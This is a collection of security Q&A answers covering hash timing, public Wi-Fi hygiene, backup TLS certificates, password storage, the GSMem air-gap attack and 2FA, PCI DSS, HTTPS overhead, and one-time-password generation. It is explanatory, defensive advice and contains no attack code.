Cryptographic functions are famous for timing attacks, where the amount of time to encrypt a block (emphasis mine) is variable and reveals info about the key. Hashing functions have the desirable property to take the same amount of time for blocks of equal length. It is worth to note that it is perfectly normal for a hash function to take increasingly time according to the payload size. Namely, the larger the file, the longer the time to hash it. Full stop!
Memory aging and leaked plaintext
I could imagine that a faulty implementation leaves traces of the original plaintext allocated in memory, without properly clearing these areas and returning them to the system. Combined with a buffer overflow attack, that could reveal pieces of plain text if not all.
But that is something unrelated to only 10 test cases. You won't find it with additional cases like assertThat(h(x),is(equalTo(precomputed))) or assertThat(acmeHash(x),is(equalTo(superTestedHash(x)))) which is a great way to test custom implementations
Consideration on timing attack
This is just a consideration. Suppose your correct-but-insecure-implementation of the hash yields a result so that the time it takes to yield it is related to the plaintext itself.
I quite don't see much security issue. Hash functions are public, so that you will run it on your machine. You have to know the plaintext before running it.
Compared to time attacks in crypto functions, the problem there is that you use the timing not to break the cyphertext or plaintext, but to break the key which is the other secret element. In hashing there is no key, so plaintext and hash digest are always known.


How to stop malicious WIFI from infecting my computer?

As Anthony Russell wrote in the answer to that other question you referenced:

Always use TLS and if you can, connect to a VPN whenever you're on a public wifi. Make sure that you don't have any unnecessary services running on your machine that are open to the network. Honestly, you probably shouldn't have any ports open. Any openings are potential access points. Also make sure your machine is fully patched and running all available firewall services.
Mind you this is all just mitigation. If you're connecting to public wifi points you have some accepted risk.

That is good advice.
The idea about TLS or VPN is these are ways to get end-to-end protection (authentication, encryption, etc.) so they can ride securely even over untrusted networks.
The idea about not having unnecessary services/ports on your machine is that even if your intended traffic (say, checking your email, etc.) is protected by TLS or VPN, there can still be attacks as incoming traffic from an attacker goes for your open services/ports.


Can a website have multiple valid TLS certs looping back to multiple root CAs in case one of them is compromised?

You can have a backup certificate from a different CA but you cannot serve multiple leaf certificates (i.e. certificates matching the hostname) within the same TLS connection. You can also not have multiple signatures (i.e. by different CA's) on the same certificate which is a similar question often asked in this context. But you could use  different certificates for different connections so that not everything fails if a CA gets untrusted, even though this would be uncommon and several security extension might complain about the always changing certificate.

  A company that isn't aware of this in time might find themselves without a trusted CA.

A CA gets not removed suddenly without a huge public outcry abut the compromise. And with the removals in the past it was often done in a way that certificates issued before the compromise where still valid for a while so that administrators had enough time to get a replacement certificate. Since there is no mechanism in the PKI structure which allows for this so you had special hacks in the browsers to support this.

If you are after all this public attention still not aware about the removal of the CA and did not get a replacement in time then you might have much worse problems in your IT security than a failing certificate.


How can I tell if my ISP account password is encrypted?

Other than calling them up and asking (and then hoping your contact knows what they're talking about), you cannot tell if the password is encrypted: anything that can be done with a plain-text password can be done with an encrypted password.

The best clue that the password is hashed (stored in a non-recoverable manner) is how they deal with forgotten passwords.  If they have you provide a new password or send you a temporary password, it's probably hashed.  If they can tell you what your password is, it's encrypted or stored in plain text.


Handling user login using asymmetric cryptography

It is a bad idea to generate the key for asymmetric cryptography totally on predictable data (i.e. user chosen password) instead of secure random data. By basing the key completely on predictable data the key gets the same predictability as the password used as input.

Still, asymmetric cryptography can be used for authentication/login but not in the way you propose. Typical examples are authentication with client certificates in TLS and authentication with a key in SSH. In both cases either the public key is known by the server (and associated with the user) or the server can derive trust to the certificate by building the trust chain to locally trusted issuer certificates.


Doesn't this make 2FA irrelevant and possibly dangerous?

No. The attack-vector described in the article requires the PC to be compromised in some way and requires someone to intercept the radio-traffic sent from your PC.

So first of all: unless your working on some really complex stuff that would be worth spying on it with great effort, you're pretty unlikely to be attacked this way anyways. 2FA via smartphone usually requires you to be online, while the described attack is used for air-gapped machines. Not exactly the setup an every-day user would use. In addition this attack isn't exactly powerful due to the low amount of data that can be transferred, so in general: no sane-minded attacker will ever use this to compromise your machine.

How does the attack even work

The attack, which the developers named GSMem, works by using data-buses as transmitters. There have previously been comparable attacks using video-cards as radio-transmitters, etc.. This kind of attack can be used against air-gapped machines, which obviously can't transfer data via WiFi or any other network. While the video-card type of attack worked via radio-signals and could be received by a smartphones FM-receiver, GSMem uses a different wavelength that can be received via normal base-band chips that are deployed in older phones as well. By using multichannel-buses, the amplitude of the signal can be increased to the point where the receiver can actually read the data. But there are high limitations on this approach even with specific hardware, the connection only had a range of 30m and was restricted to ~1000bit/s. This would be sufficient to steal cryptographic keys, or comparable small data, but won't do for anything larger.

This attack needs two things to work: a compromised machine that you want to intrude. Here the GSMem-malware is deployed to make the PC emit a strong enough signal. And of course a receiver, which would be a phone with a modified baseband-firmware that would function as a receiver. The computer sends the signal to the phone and the phone hands it on to where-ever it is configured to hand it on.

Does that make 2FA useless?

Probably. If someone has access to your PC, he can always just wait for you to authenticate and eavesdrop or modify your actions as long as you're logged in. There's no difference between this and the PC being compromised with any other malware from this POV. But 2FA might keep the bad guy from accessing anything that needs to be authenticated as long as you don't authenticate it on your own.

Does that make 2FA dangerous?

Why should it? As long as your smartphone isn't compromised as well, it at least keeps the bad guy from using services protected by 2FA as long as you don't log in. So in fact it would be an additional layer of security, that would help at least a bit. And if the your smartphone is compromised as well, it just renders 2FA useless. But 2FA won't introduce any new attack-vectors here.

TL;DR

The described attack is - cooked down - spyware that works for air-gapped machines. It won't interfere with 2FA in any different way than usual spyware. In addition it's highly unlikely, that this attack will be used against the average user, due to it's complexity, high limitations and specific intended application.


PCI DSS Compliance for a Level 4 organization

The best over all solution is to use a commercial payment handling service that deals with all of that for you. For that transaction volume, the danger of having card data stored on prem out weighs your need for the data.

If this is a retail business, I would suggest something like square, which would essentially put the responsible handling of data in their court, and their rates are very friendly to the small business world in comparison to other options.


Should the whole web *really* be encrypted? Isn't plaintext sometimes faster/better?

The additional overhead caused by the encrypting your payload is almost zero since CPUs today can encrypt at speeds of up to hundreds of MB/s. The only noticable delay is during connection setup, as you need a few additional round trips to set up SSL/TLS. However, if you are transferring large files, this round trip cost is negligible.

Yes, caching of unencrypted files will increase performance. However, there is a lack of privacy. The operator of the caching server can see the contents of your download since it is unencrypted. Therefore, the approach described above is not as common.

However, if you only need to verify integrity and have no need to maintain privacy, then the method above is fine.


What is more secure for voice and SMS OTP: A random number or generated similar to HOTP?

The tricky point is pre-usage synchronization. When you want to use a one-time password, the client must "somehow" learn the one-time password to use. HOTP is for situations where this out-of-band synchronization is through a counter which is maintained both client-side and server-side.

If you have another out-of-band mechanism which can be invoked on a per connection basis (e.g. a SMS), then you do not need the counter management that HOTP provides. HOTP is also a good PRNG, but it is simpler to generate random one-time-passwords from the OS facilities (/dev/urandom and its ilk). As you point out, HOTP is similar to a PRNG with a secret key, and key theft implies compromise. With a fresh random password for each connection, an attacker who can peek at the server database might learn the current OTP for a given users, but will know nothing about the next OTP, so the damage is contained in time.

Using HOTP (or its time-based variant TOTP) in the SMS-based scenario is not awfully weak -- this is a good model which supports user tokens. HOTP is sane usage of cryptography. But if you have an out-of-band channel available for quasi-immediate transmission of the OTP (such as a SMS), then you can use random generation which will be even better.